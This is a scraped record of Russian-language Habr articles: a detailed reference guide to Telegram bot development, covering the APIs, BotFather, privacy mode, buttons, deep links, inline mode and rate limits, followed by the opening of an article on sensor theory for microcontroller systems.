+ [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=200221)
+ [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=200221)
+ [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=200221)
+ [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=200221)
+ [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=200221)
+ [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=200221)
|
https://habr.com/ru/post/542860/
| null |
ru
| null |
# Всё, о чём должен знать разработчик Телеграм-ботов
Вы вряд ли найдете в интернете что-то про разработку ботов, кроме документаций к библиотекам, историй "как я создал такого-то бота" и туториалов вроде "как создать бота, который будет говорить hello world". При этом многие неочевидные моменты просто нигде не описаны.
Как вообще устроены боты? Как они взаимодействуют с пользователями? Что с их помощью можно реализовать, а что нельзя?
Подробный гайд о том, как работать с ботами — под катом.
Статья обновлена в январе 2022* Обновлена информация об id пользователей и чатов: теперь их нельзя хранить в 32-битном типе чисел.
* Добавлен раздел о сообщениях от лица групп и каналов
* Обновлена информация о различных меню команд для отдельных чатов и пользователей.
* Добавлена информация о спойлерах в разметке сообщений.
* Добавлен раздел об обновлениях Bot API.
### Содержание
[**Начало работы**](#starting)[- Telegram API vs Telegram Bot API](#apis)
[- На чём пишут Телеграм-ботов](#frameworks)
[- Создание бота](#creation)
[- Юзернеймы](#usernames)
[- Оформление бота](#profile)
[**Сообщения и чаты**](#messages-and-chats)
[- Запуск бота пользователем](#start)
[- Сообщения](#messages)
[- Куда может писать бот](#chats)
[- Супергруппы](#supergroups)
[- id пользователей и чатов](#chat-id)
[- id сообщений](#message-id)
[- Видимость сообщений в группах](#privacy-mode)
[- Сообщения от лица групп и каналов](#anonymous-messages)
[- Команды](#commands)
[- Разметка сообщений](#formatting)
[- Кнопки](#buttons)
[**Взаимодействие с ботом**](#interaction)
[- Ссылки на бота](#links)
[- Инлайн-режим](#inline-mode)
[- Создание наборов стикеров](#stickers)
[- Платежи через ботов](#payments)
[- HTML-игры в ботах](#games)
[- Telegram Login Widget](#login)
[**Разработка ботов**](#development) [- Какие апдейты можно получать](#updates)
[- Обновления API](#api-updates)
[- Лимиты](#limits)
[- Рассылка по пользователям](#broadcasting)
[- Смена владельца бота](#ownership)
[- Локальный сервер Bot API](#local)
[- Юзерботы](#userbots)
[**Заключение**](#conclusion)
Начало работы
-------------
### Telegram API vs Telegram Bot API
Рассказываю по порядку.
Телеграм использует собственный протокол шифрования [MTProto](https://ru.wikipedia.org/wiki/MTProto). MTProto API (он же Telegram API) — это API, через который ваше приложение Телеграм связывается с сервером. Telegram API полностью открыт, так что любой разработчик может написать свой клиент мессенджера.
Для написания ботов был создан Telegram Bot API — надстройка над Telegram API. Перевод с [официального сайта](https://core.telegram.org/api):
> Чтобы использовать Bot API, вам не нужно ничего знать о том, как работает протокол шифрования MTProto — наш вспомогательный сервер будет сам обрабатывать все шифрование и связь с Telegram API. Вы соединяетесь с сервером через простой HTTPS-интерфейс, который предоставляет простую версию Telegram API.
>
>
Среди упрощений Bot API: работа через вебхуки, упрощенная разметка сообщений и прочее.
Почему-то мало кто знает о том, что боты могут работать напрямую через Telegram API. Более того, таким образом можно даже обойти некоторые ограничения, которые даёт Bot API.
[Об авторизации ботов через Telegram API в официальной документации](https://core.telegram.org/api/bots)
Вся информация ниже будет по умолчанию относиться и к Bot API, и к Telegram API. О различиях я буду упоминать. От некоторых ограничений Bot API можно избавиться с помощью локального сервера, об этом в конце статьи.
### На чём пишут Телеграм-ботов
Бот должен уметь отправлять запросы Телеграм-серверу и получать от него апдейты (updates, обновления).
Как получать апдейты в Bot APIПолучать апдейты можно одним из двух способов:
* Поллинг — просто регулярно отправлять запрос к серверу Телеграма для получения обновлений,
* Вебхук — сделать так, чтобы Телеграм сам отправлял запросы по нужному URL.
Конечно, удобнее использовать библиотеки, чем делать http-запросы "руками".
Если вы попробуете [загуглить](http://google.com/search?q=telegram+bot+python), как написать Телеграм-бота на Python, вам предложат воспользоваться библиотеками python-telegram-bot и telebot. Но не стоит.
Ну, если вы только хотите познакомиться с разработкой ботов и написать своего hello-world-бота, то можете, конечно использовать и их. Но эти библиотеки могут далеко не всё. Среди разработчиков ботов лучшей библиотекой для ботов на Python считается [aiogram](https://github.com/aiogram/aiogram). Она асинхронная, использует декораторы и содержит удобные инструменты для разработки. Ещё был хороший [Rocketgram](https://github.com/rocketgram/rocketgram), но он давно не обновлялся.
Также ботов часто пишут на JavaScript, для этого обычно используется [Telegraf](https://telegraf.js.org). Библиотеки есть и для многих других языков, но используют их реже.
Если же вы хотите использовать Telegram API, то можете воспользоваться Python'овскими [Telethon](https://github.com/LonamiWebs/Telethon) и [Pyrogram](https://github.com/pyrogram/pyrogram).
Пример кода ботаЕсли вы хотите получить какое-то представление о том, как вообще выглядит код бота, вот вам пример использования на aiogram с [его странички на GitHub](https://github.com/aiogram/aiogram):
```
import asyncio
from aiogram import Bot, Dispatcher, types
async def start_handler(event: types.Message):
await event.answer(
f"Hello, {event.from_user.get_mention(as_html=True)} ?!",
parse_mode=types.ParseMode.HTML,
)
async def main():
bot = Bot(token=BOT-TOKEN)
try:
disp = Dispatcher(bot=bot)
disp.register_message_handler(start_handler, commands={"start", "restart"})
await disp.start_polling()
finally:
await bot.close()
asyncio.run(main())
```
Этот бот будет отвечать на команды `/start` и и `/restart.`
### Создание бота
Единственная информация о Телеграм-ботах, которой в интернете полным-полно: как создать бота. Это делается через специального бота [BotFather](http://tg://resolve?domain=BotFather). Когда вы создадите бота, BotFather даст вам его токен. Токен выглядит примерно так: `110201543:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw`. Именно с помощью токена вы сможете управлять ботом.
Один пользователь может создать до 20 ботов.
В BotFather удобно управлять ботами своими командой `/mybots`.
### Юзернеймы
При создании бота нужно выбрать юзернейм. После этого поменять его будет очень сложно.
Как поменять юзернейм ботаЕсли у вас есть бот, и вы хотите дать ему более короткий юзернейм (который может быть занят неработающим ботом), то вы, теоретически, можете это сделать через [@BotSupport](http://tg://resolve?domain=BotSupport).
Для этого бот должен (внезапно) быть рабочим, а также поддерживать английский язык.
Принято использовать такой формат обращения в поддержку:
1. @old\_username,
2. @new\_username,
3. Что бот делает.
Если вы везунчик 9999 lvl — вам ответят.
Юзернейм бота выглядит как обычный юзернейм, но он должен заканчиваться на "bot".
Вы могли видеть ботов с именами [@pic](http://tg://resolve?domain=pic), [@vid](http://tg://resolve?domain=vid), [@sticker](http://tg://resolve?domain=sticker), [@gamee](http://tg://resolve?domain=gamee) — это официальные боты Телеграма. Им можно нарушать все правила :)
Очень многие юзернеймы уже заняты. Свободных коротких юзернеймов осталось очень мало. И что самое грустное: почти все эти боты мертвы. Просто не отвечают на сообщения. Наверное, это просто разные любопытные люди хотят сделать бота, создают его, а потом забивают. У меня самого есть несколько лежащих ботов. Так что, думаю, лимит в 20 ботов на одного владельца вполне оправдан :)
### Оформление бота
Открыв бота, пользователи могут увидеть его профиль.
Оформление бота настраивается в BotFather: меню `/mybots` → `Edit Bot`. Там можно изменить:
1. Имя бота.
2. Описание (Description) — это текст, который пользователи будут видеть в начале диалога с ботом под заголовком "Что может делать этот бот?"
3. Информация (About) — это текст, который будет виден в профиле бота.
4. Аватарка. Аватарки ботов, в отличие от аватарок пользователей и чатов, не могут быть анимированными. Только картинки.
5. Команды — тут имеются ввиду подсказки команд в боте. Подробнее о командах [ниже](#commands).
6. Inline Placeholder — об инлайн-режиме см. [ниже](#inline).
Стандартный совет: Потратьте свое время и заполните описание и информацию бота, чтобы пользователям было понятнее и проще его использовать. Можете оставить там свои контакты. И поставьте аватарку, чтобы бота было проще отличать от других чатов в списке.
Сообщения и чаты
----------------
### Запуск бота пользователем
Когда пользователь впервые открывает бота, он видит кнопку "Запустить" или "Начать" (зависит от платформы пользователя), на английском — "Start". Нажимая на эту кнопку, он отправляет команду `/start`.
Таким образом, первое сообщение от пользователя — это всегда `/start` (либо `/start` с параметрами, об этом ниже в разделе ["Диплинки"](#links)).
...если пользователь использует официальный клиентНа стороне сервера это не проверяется, поэтому теоретически пользователь может отправить боту любое сообщение через Telegram API.
### Сообщения
Понятно, что главная функция бота — отправлять и получать сообщения.
И то, и другое можно делать со всеми видами сообщений (фото и видео, файлы, опросы, голосовые сообщения и т. д.).
В Телеграме можно делиться файлами до 2 ГБ, но в Bot API более жесткие лимиты: боты могут скачивать файлы до 20 МБ и отправлять файлы до 50 МБ.
Работа с файлами в Bot APIЕсли бот уже загрузил файл на сервер Телеграма, то он может использовать file\_id, чтобы отправлять этот файл.
Загружать файл на сервер можно в том числе и по URL файла.
[Подробнее об отправке файлов в Bot API](https://core.telegram.org/bots/api#sending-files)
### Куда может писать бот
**Бот может писать в личку только тем пользователям, которые его запустили.** Пользователь может заблокировать бота, и тогда бот снова не сможет ему писать.
Боты не могут писать другим ботам.
Бота можно добавить в группу (если в BotFather включена соответствующая настройка). По умолчанию он видит не все сообщения (об этом ниже, в разделе ["Видимость сообщений в группах"](#privacy-mode)).
В группе боту можно дать права администратора, чтобы он мог выполнять действия админов.
В одной группе может быть до 20 ботов. В публичные группы (группы с юзернеймом) ботов могут добавлять только админы.
Также бота можно добавить в канал, причем только как администратора. Самый частый способ использования ботов в каналах — добавление кнопок под постами ("лайки", ссылки и прочее).
Как боты добавляют кнопкиУ админа канала может быть специальное право: "Редактирование чужих публикаций". С помощью него боты редактируют посты, добавляя к ним кнопки.
Подробнее о кнопках тоже [ниже](#buttons).
### Супергруппы
На самом деле многие группы в Телеграме являются супергруппами.
Почему так? Раньше было [четкое разделение на группы и супергруппы](https://telegram.org/blog/supergroups#supergroups). По задумке, супергруппы — это группы для сообществ. Супергруппы могут иметь больше участников, публичные ссылки и другие плюшки.
Со временем, видимо, решили, что это неудобная концепция. Теперь обычная группа становится супергруппой, когда у группы меняются какие-нибудь настройки ([подробнее тут](https://t.me/tginfo/1917)). Вот такой костыль.
В этой статье под группами я подразумеваю и супергруппы, и обычные группы.
Супергруппу нельзя обратно превратить в группу. С точки зрения API [супергруппа устроена так же, как и канал](https://core.telegram.org/api/channel). Важное отличие супергрупп от обычных групп состоит в нумерации сообщений: о нём [чуть ниже](#message-id).
### id пользователей и чатов
У каждого пользователя, бота, группы, канала в Телеграме есть собственный id. Различать чаты в коде бота следует именно по id, потому что он никогда не меняется.
В токене бота первая часть — это его id. Например, токен `110201874:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw` принадлежит боту с id `110201874`.
В Bot API перед id супергрупп и каналов пишется -100. Так, id `1356415630` превращается в `-1001356415630`.
Не следует хранить id пользователей и чатов в 32-битном типе числа: теперь id могут превышать 231-1.
### id сообщений
Каждое сообщение в Телеграме имеет свой id. Это относится и к системным сообщениям (пользователь зашел в группу, изменилось название группы и т. д.)
Через Telegram API боты могут получать по запросу сообщения в любом чате по их id.
id сообщений в супергруппах и каналах уникальны для чата: первое сообщение в чате имеет номер 1, второе имеет номер 2 и так далее.
id сообщений в личных сообщениях и обычных группах работают по другому. Там, можно сказать, нумерация сквозная: id сообщения уникально для каждого отправившего его пользователя. Так, первое сообщение от пользователя во всех личках и группах имеет номер 1, второе сообщение от того же пользователя имеет номер 2 и так далее.
### Видимость сообщений в группах
Обычно бот должен реагировать именно на команды. Телеграм не уведомляет бота об остальных сообщениях, и это гарантирует приватность переписки.
Но если боту нужно видеть все сообщения в группе (например, если это чат-бот или антиспам-бот), для него можно отключить Privacy mode.
Privacy mode — настройка в BotFather, которая по умолчанию включена. В таком режиме бот в группах видит только такие сообщения:
* Сообщения с упоминанием бота,
* Ответы на сообщение бота, ответы на ответы и так далее,
* Системные сообщения,
* Команды — о них в следующем пункте.
А если Privacy mode выключен, то бот видит все сообщения в группе.
Если бот — админ в группе, то он в любом случае видит все сообщения.
Бот, работающий через Bot API, в любом случае не будет видеть сообщения от других ботов.
Бот видит не все сообщенияЯ включил Privacy mode, а он не работаетНужно удалить бота из группы и добавить заново.
Исправленный баг с видимостью сообщенийНедавно [был найден баг](https://t.me/durovleaks/201): боты не могли видеть некоторые сообщения от юзеров, если сообщения выглядят как команды с юзернеймом пользователя на конце.
Это могло нарушить работу антиспам- и других ботов.
Сейчас баг уже исправлен.
[О Privacy mode в документации Bot API](https://core.telegram.org/bots#privacy-mode)
### Сообщения от лица групп и каналов
В группах могут быть не только сообщения от пользователей, но и:
* Сообщения в группе из привязанного канала (с точки зрения API это пересланные сообщения)
* Сообщения от лица группы от анонимных администраторов той же группы
* Сообщения от лица публичных каналов от любых пользователей
Учитывайте это при разработке ботов для групп.
### Команды
Часто используемый способ "общения" пользователей с ботом — команды. Команды начинаются на "/" и состоят из латинских букв (можно использовать цифры и нижние подчеркивания).
Команды подсвечиваются как ссылки: нажатие отправляет команду в чат.
В группах, чтобы различать команды от разных ботов, Телеграм предлагает ставить в конце команды юзернейм бота. Например: `/start@examplebot`.
В BotFather можно указать подсказки команд для бота. Он будут отображаться при вводе "/" и команд. Если есть подсказки, рядом с кнопкой "Отправить" появляется кнопка для открытия меню команд.
Если в подсказках команд есть `/help`, в профиле бота появляется кнопка "Помощь с ботом". Нажатие на кнопку отправляет эту команду.
Если в подсказках команд есть `/settings`, в профиле бота появляется кнопка "Настройки бота". Нажатие на кнопку отправляет эту команду.
С 2021 года боты могут показывать разные меню команд для разных пользователей и групп, а также меню команд может зависеть от языка пользователя и того, является ли участник группы админом.
### Разметка сообщений
Как вы, наверное, знаете, сообщения в Телеграме могут содержать не только обычный текст, но и жирный, курсив и др. В Bot API разметку сообщений можно делать в HTML и Markdown.
Разметка в Telegram APIВ Telegram API для разметки надо вместе с сообщением передавать entities (MessageEntityBold, MessageEntityItalic и так далее). Хорошие библиотеки сами превращают HTML/Markdown в текст и entities.
Способы выделения текста:
* **Жирный текст**
* *Курсив*
* Подчёркнутый текст
* ~~Зачёркнутый текст~~
* `Моноширинный текст ("в строке" и "блоком")`
* [Ссылка (встроенная в текст)](http://t.me/telegram)
* Спойлер — текст, который показывается только после нажатия на плашку
* Упоминание пользователя — текст, похожий на ссылку, клик по которому открывает профиль пользователя. Если упомянуть в группе её участника, он получит уведомление.
Чтобы вставить в сообщение упоминание пользователя, в Bot API нужно встроить ссылку на tg://user?id=123456789.
[О разметке в документации Bot API](https://core.telegram.org/bots/api#formatting-options)
### Кнопки
#### Инлайн-кнопки
Бот может оставлять кнопки под своими сообщениями.
Кнопки под сообщениями (они же inline keyboards / inline buttons) в основном бывают трёх видов:
* URL button — кнопка с ссылкой.
* Callback button. При нажатии на такую кнопку боту придёт апдейт. С созданием кнопки можно указать параметр, который будет указан в этом апдейте (до 64 байтов). Обычно после нажатий на такие кнопки боты изменяют исходное сообщение или показывают notification или alert.
* Switch to inline button. Кнопка для переключения в инлайн-режим (об инлайн-режиме см. [ниже](#inline)). Кнопка может открывать инлайн в том же чате или открывать меню для выбора чата. Можно указать в кнопке запрос, который появится рядом с никнеймом бота при нажатии на кнопку.
Дополнительные виды кнопок* Login URL button — специальная кнопка для авторизации пользователей на сайте. Использовалась, например, в официальном боте [@discussbot](http://tg://resolve?domain=discussbot) (до добавления нативных комментариев в Телеграм).
* Callback game button — кнопка для открытия HTML-игры. См. пункт ["HTML-игры"](#games).
* Pay button — кнопка для платежей. См. пункт ["Платежи через ботов"](#payments).
#### Клавиатурные кнопки
Есть другой тип кнопок: keyboard buttons. Они отображаются вместо клавиатуры как подсказки. При нажатии на такую кнопку пользователь просто отправит этот текст.
При этом в личных чатах с помощью кнопки можно:
* Запросить номер телефона пользователя,
* Запросить геолокацию пользователя,
* Открыть у пользователя меню создания опроса.
Есть опция resize\_keyboard, которая отвечает за то, изменять ли высоту этой "клавиатуры из кнопок". По умолчанию она, почему-то, выключена, и тогда высота клавиатуры стандартная большая. Получаются кнопки как на этой картинке:
Чтобы показать клавиатурные кнопки, бот должен отправить сообщение. Можно отправить клавиатуру, которая свернётся (но не пропадёт) после нажатия на кнопку.
По умолчанию, если показать кнопки в группе, они будут видны всем пользователям. Вместо этого можно отобразить кнопки одновременно для этих пользователей:
* Для пользователей, юзернеймы которых были в тексте сообщения,
* Если это ответ на другое сообщение: для пользователя, который его отправил.
#### Ещё о кнопках
Оба типа кнопок могут составлять несколько рядов, в каждом из которых по несколько кнопок. Ограничения: в ряду может быть до 8 кнопок, а всего с сообщением до 100 кнопок.
При отправке сообщения можно выбрать одно (но не больше) из следующих действий:
* Добавить к сообщению инлайн-кнопки,
* Показать клавиатурные кнопки,
* Убрать все клавиатурные кнопки,
* Force reply: автоматически заставить пользователя ответить на сообщение. Так произойдёт то же самое, что и при нажатии пользователем кнопки "Ответить". Это нужно для того, чтобы бот мог общаться с пользователями в группах, не нарушая Privacy mode.
Таким образом, нельзя показать оба типа кнопок одновременно.
Взаимодействие с ботом
----------------------
### Ссылки на бота
Юзернеймы ботов работают так же, как и любые другие юзернеймы в Телеграме: бота `@examplebot` можно открыть по ссылке [t.me/examplebot](http://t.me/examplebot).
Также существует прямая ссылка: `tg://resolve?domain=examplebot`
Подробнее о ссылках tg://Такие ссылки могут не только заменять ссылки [t.me](http://t.me), но и задавать свои действия. Например, [tg://settings](http://tg://settings) открывает настройки.
Список известных таких ссылок есть канале [@DeepLink](http://tg://resolve?domain=DeepLink).
#### Ссылка на добавление в группу
По ссылке [t.me/examplebot?startgroup=true](http://t.me/examplebot?startgroup=true) у пользователя откроется меню: выбор группы для добавления бота.
Прямая ссылка: `tg://resolve?domain=examplebot&startgroup=true`
#### Диплинки
По ссылке `t.me/examplebot?start=<ваш текст>` пользователь может запустить бота с каким-то стартовым параметром (`<ваш текст>`).
Что происходит, когда пользователь переходит по такой ссылке:
1. Бот открывается как обычно.
2. Отображается кнопка "Запустить", даже если пользователь уже запускал бота.
3. Пользователь нажимает на кнопку и видит сообщение `/start` (всё как обычно).
4. Боту вместо этого приходит сообщение `/start <ваш текст>`
Так бот может отреагировать на запуск не как на обычный "/start", а другим способом.
Наглядная гифка:
Часто диплинки используются для реферальных программ (в качестве параметра можно передавать id пользователя, который поделился ссылкой). Есть и другие применения.
Прямая ссылка: `tg://resolve?domain=examplebot&start=<ваш текст>`
[О диплинках в документации Bot API](https://core.telegram.org/bots#deep-linking)
### Инлайн-режим
Инлайн-режим (inline mode) — это специальный режим работы бота, с помощью которого пользователь может использовать бота во всех чатах.
Выглядит это так: пользователь вводит юзернейм бота в поле для ввода сообщения. После юзернейма можно ещё записать запрос (текст до 256 символов).
Появляется менюшка с результатами. Выбирая результат, пользователь отправляет сообщение.
Инлайн-режим можно включить в BotFather, там же можно выбрать плейсхолдер вместо стандартного "Search..."
В группе можно запретить использовать инлайн всем или некоторым участникам. В официальных приложениях Телеграм это ограничение объединено с ограничением на отправку стикеров и GIF.
[Страничка об инлайн-режиме на сайте Telegram](https://core.telegram.org/bots/inline)
#### Результаты инлайн-режима
Результаты можно отображать двумя способами:
* Сеткой. Удобно для выдачи картинок.
* Вертикальным списком. Удобно для выдачи текста.
Можно совмещать два типа, но корректно отображается это только на Telegram Desktop.
#### Приватность и геопозиция в инлайне
Когда пользователь вызывает инлайн-режим, бот не может получить никакую информацию о контексте, кроме информации о пользователе. Таким образом, бот не может узнать ни чат, в котором вызвали инлайн, ни сообщение, на которое пользователь отвечает.
Но зато если включить в BotFather настройку "Inline Location Data", то бот сможет видеть геопозицию пользователей, когда они используют инлайн (на мобильных устройствах). Перед этим у пользователей показывается предупреждение.
#### Inline feedback
Inline feedback — это апдейты о выбранных инлайн-результатах. Включаются через BotFather.
Предполагается использование inline feedback для сбора статистики, но не всегда он используется так. Inline feedback позволяет "подгружать" не все результаты сразу, а только выбранный. Например, если бот используется для поиска музыки, то он может загружать не все песни сразу, а только одну.
Важный момент: если вы получили апдейт об отправке инлайн-сообщения, то вы можете его редактировать, только если к нему прикреплены инлайн-кнопки. (Если кнопок нет, то в апдейте не указывается id инлайн-сообщения, по которому происходит редактирование).
### Создание наборов стикеров
Боты (и только боты!) могут создавать наборы стикеров. При этом каждый набор стикеров должен принадлежать какому-то пользователю. Посмотреть свои наборы стикеров пользователь может с помощью бота [@Stickers](http://tg://resolve?domain=Stickers).
### Платежи через ботов
Телеграм предоставляет ботам возможность принимать платежи от пользователей. Это делается через провайдеров ЮMoney, Сбербанк, Stripe и ещё 7.
Эта возможность используются редко, потому что для использования провайдеров нужно юридическое лицо.
[Страница Bot Payments API](https://core.telegram.org/bots/payments)
*UPD 04.2021.* В новом обновлении появилось больше возможностей платежей для разработчиков. Теперь боты могут отправлять платежи не только в лс, но и в группы и в каналы. Это позволяет сделать из канала "витрину", на которой можно сразу купить товар. Вы можете посмотреть, как это выглядит, [в официальном демо-канале](https://t.me/TestStore/2).
### HTML-игры в ботах
Боты могут позволять пользователям играть в HTML5-игры в чатах. Бот может отправлять сообщения-игры или создавать их через инлайн-режим. Как это работает, можно посмотреть на примере официального [@gamebot](http://tg://resolve?domain=gamebot).
[Страница Bot Gaming Platform](https://core.telegram.org/bots/games)
### Telegram Login Widget
Вы можете добавить на свой сайт авторизацию через Телеграм. Процесс авторизации будет проходить так:
1. Пользователь должен будет ввести свой номер телефона.
2. Бот Telegram попросит подтвердить вход.
3. Пользователь авторизуется и нажимает на "Принять" на сайте.
Telegram Login Widget не связан с Login URL button (см. [раздел про кнопки](#buttons) выше), а является его альтернативой.
[О Telegram Login Widget на сайте Телеграм](https://core.telegram.org/widgets/login)
Разработка ботов
----------------
### Какие апдейты можно получать
Бот не может получить старые сообщения из чата. Бот не может получить список всех своих пользователей. Все, что может получать бот — это информацию об обновлениях. В этом заключается главная сложность разработки ботов.
Вы можете получать информацию о новых сообщениях в боте и других событиях, но только один раз. Вам придётся самим хранить список чатов, старых сообщений (если это зачем-то нужно) и так далее. Если вы случайно сотрёте/потеряете эту информацию, вы её больше никак не получите.
В Telegram API бот может чуточку больше: он может получать сообщения по id, получать список участников группы и прочее.
Получение апдейтов: Bot API vs Telegram APIЕсли вы получили апдейт в Bot API, то второй раз вы его уже не получите.
В Telegram API это не так: пользователь может пользоваться мессенджером через несколько клиентов, каждый из которых должен получать апдейты.
Если запустить для одного бота несколько программ на Telegram API, то каждая из них будет получать все апдейты.
Ограничения Bot API не позволяют сделать то же самое.
### Обновления API
Telegram API и Telegram Bot API обновляются с появлением новых фич в Телеграме. Все обновления Bot API описаны на [отдельной странице в документации](https://core.telegram.org/bots/api-changelog) и в официальном канале [BotNews](https://t.me/BotNews).
### Лимиты
Конечно, на запросы к серверу существуют лимиты. В [Bots FAQ на сайте Telegram](https://core.telegram.org/bots/faq#my-bot-is-hitting-limits-how-do-i-avoid-this) названы следующие:
* Не больше одного сообщения в секунду в один чат,
* Не больше 30 сообщений в секунду вообще,
* Не больше 20 сообщений в минуту в одну группу.
Эти лимиты не строгие, а примерные. Лимиты могут быть увеличены для больших ботов через поддержку.
Другие известные ограничения в Telegram собраны на [limits.tginfo.me](http://limits.tginfo.me) — см. раздел про ботов.
### Рассылка по пользователям
[Ниже в Bots FAQ](https://core.telegram.org/bots/faq#how-can-i-message-all-of-my-bots-subscribers-at-once) сказано, что Bot API не позволяет рассылать сообщения всем юзерам одновременно и что в будущем, может быть, они что-то для этого сделают. И написано это уже несколько лет.
Они советуют растянуть рассылку на длительное время (8-12 часов) и замечают, что API не позволит отправлять сообщения более чем ~30 пользователям в секунду.
### Смена владельца бота
Осенью 2020 года появилась возможность передавать ботов другому человеку. Это можно сделать в настройках бота в BotFather. Для этого на вашем аккаунте должна быть включена двухфакторная авторизация — не менее, чем за 7 дней до передачи. Передать бота можно только пользователю, который что-либо ему писал.
### Локальный сервер Bot API
Также осенью 2020 года исходники Bot API [выложили на GitHub](https://github.com/tdlib/telegram-bot-api). Теперь вы можете поднять собственный сервер Bot API. На GitHub перечислены следующие преимущества:
* Скачивание файлов с сервера без ограничения (ограничение на отправку файлов пользователями в Телеграме — 2 ГБ),
* Загрузка файлов на сервер до 2000 МБ,
* Загрузка файлов на сервер с помощью локального пути и URI файла,
* Использование HTTP URL для вебхука,
* Использование любого локального IP-адреса для вебхука,
* Использование любого порта для вебхука,
* Возможность увеличить максимальное число соединений до 100000,
* Получение локального пути файла вместо загрузки файла с сервера.
### Юзерботы
В начале статьи я рассказывал о том, что такое Telegram API и Telegram Bot API.
Telegram API используется не только для ботов — тогда в чём проблема управлять аккаунтами пользователей, как ботами? Люди это делают. Кто-то автоматически [ставит текущее время себе на аватарку](https://habr.com/ru/post/457078/), кто-то скриптом реагирует на свои сообщения как на команды, кто-то сохраняет сообщения из публичных групп и каналов. Всё это называют юзерботами.
Юзерботов следует использовать аккуратно: за большую подозрительную активность аккаунт могут ограничить или забанить.
Заключение
----------
Я постарался собрать в одном месте и структурировать информацию о всех возможностях Телеграм-ботов. Большое спасибо [vanutp](http://tg://resolve?domain=vanutp), [NToneE](http://tg://resolve?domain=NToneE) и [Grinrill](http://tg://resolve?domain=Grinrill) за помощь с фактами. Если мы что-то забыли — пишите, исправлю.
Я специально не разделял большую статью на несколько постов, чтобы можно было быстро найти нужную информацию. К тому же, в начале статьи есть её содержание. Так что можете сохранить её к себе и использовать как справочник :)
Вообще интерфейс бота (то есть интерфейс чата) имеет много ограничений. Но плохо ли это? Действительно удобнее использовать инструмент, когда это часть привычной среды. Я часто прямо в переписке нахожу нужную картинку или информацию с помощью инлайн-ботов. Как заядлый пользователь Телеграма, я люблю использовать ботов. И создаю ботов. И вы создавайте.
|
https://habr.com/ru/post/543676/
| null |
ru
| null |
# Датчики и микроконтроллеры. Часть 1. Матчасть
В эпоху готовых отладочных плат и тысяч готовых модулей к ним, где достаточно взять пару блоков, соединить их вместе, и получить нужный результат, далеко не каждый понимает основы схемотехники, почему и как это работает, а главное — что надо делать, если это работает не так.
**Как раз открылся хаб Схемотехника, так что, как говорил Бьюфорд Бешеный Пёс Таннен**Здание суда уже строят, значит, пора кого-то вешать.
В этом цикле я расскажу о датчиках — как о немаловажном элементе системы управления неким объектом или тех. процессом.
Все свое повествование я буду вести касаемо практических вопросов реализации цифровых систем управления на базе микроконтроллеров.
Руководство не претендует на всеобщий обхват вопроса.
Хотя после того, как мой конспект перелез за 20 страниц текста, я решил разбить статью на следующие части:
* **Часть 1. Мат. часть.** В ней мы рассмотрим датчик, не привязанный к какому-то конкретному измеряемому параметру. Рассмотрим передаточные функции и динамические характеристики датчика, разберемся с его возможными подключениями.
* **[Часть 2. Датчики климат-контроля](http://habrahabr.ru/post/259203/).** В ней я рассмотрю особенности работы с датчиками температуры, влажности, давления и газового состава
* [**Часть 3. Датчики электрических величин.**](http://habrahabr.ru/post/260639/) В ней я коснусь измерения тока и напряжения
#### **Введение**
В системе управления технологической установкой снятие текущих показаний некоторой величины — температуры, влажности, давления, уровня жидкости, напряжения, тока и проч. осуществляется с помощью датчиков — устройств и механизмов, предназначенных для преобразования сигнала внешнего воздействия в форму, понятную системе управления. Например, датчик влажности генерирует электрический сигнал, пропорциональный текущему значению влажности воздуха.
Как правило, датчики используются не сами по себе, а входят в состав системы управления, обеспечивая сигнал обратной связи.
*Рисунок 1. Типовая схема замкнутой системы регулирования*
На рисунке 1 представлена типовая схема системы регулирования. Имеется сигнал задания *Xз*, который сравнивается с сигналом на выходе, получаемым с помощью датчика, имеющего передаточную функцию *Wд(p)*. Ошибка управления подается на регулятор, который, в свою очередь, формирует сигнал управления исполнительным узлом, формирующим выходной сигнал *Y*.[1]
Простой пример — центробежный регулятор частоты вращения двигателя, где датчиком является платформа с шарами, которая, вращаясь, устанавливает то или иное положение топливной рейки. Заслонка, управляемая этой рейкой, регулирует количество топлива, подаваемое на двигатель. Сигналом задания будет являться требуемое значение скорости.
#### **1.1 Классификация датчиков**
Классификация датчиков очень разнообразна. Приведу лишь ее часть исходя из [4].
Все датчики делятся на два основных класса:
* Пассивные, которые не нуждаются во внешнем источнике электроэнергии, и в ответ на входное воздействие генерируют электрический сигнал. Примерами таких датчиков являются термопары, фотодиоды и пьезоэлектрические чувствительные элементы.
* Активные, которые требуют для своей работы внешний сигнал, называемой сигналом возбуждения. Поскольку, такие датчики меняют свои характеристики в ответ на изменение внешних сигналов, их называют параметрическими. Примерами активных датчиков являются терморезисторы, сопротивление которых можно вычислить путем пропускания через них электрического тока.
> Следует отметить, что в литературе встречается и альтернативный вариант классификации, когда Генераторные датчики определяются как Активные, а Параметрические — как Пассивные. Здесь и далее я руководствуюсь вариантом согласно справочнику Фарйдена.
Другим важным критерием для нас является выбор точки отсчета данных. Таким образом датчики бывают
* Абсолютные, измеряемое значение физической величины которых не зависит от условий измерения и внешней среды.
* Относительные, когда выходной сигнал такого датчика в каждом конкретном случае трактуется по разному.
Ярким примером опять является терморезистор, сопротивление которого напрямую зависит только от температуры измеряемого объекта, и термопара, выходное напряжение которой зависит от разности температур между горячим и холодным концами.
При разработке радиоэлектронного оборудования важным фактором характеристик датчика также является характер выходного сигнала.
* Аналоговые датчики на выходе имеют непрерывный выходной сигнал, для снятия которого необходимо использовать аналого-цифровой преобразователь, после чего необходимо произвести преобразования значения АЦП в формат измеряемой величины.
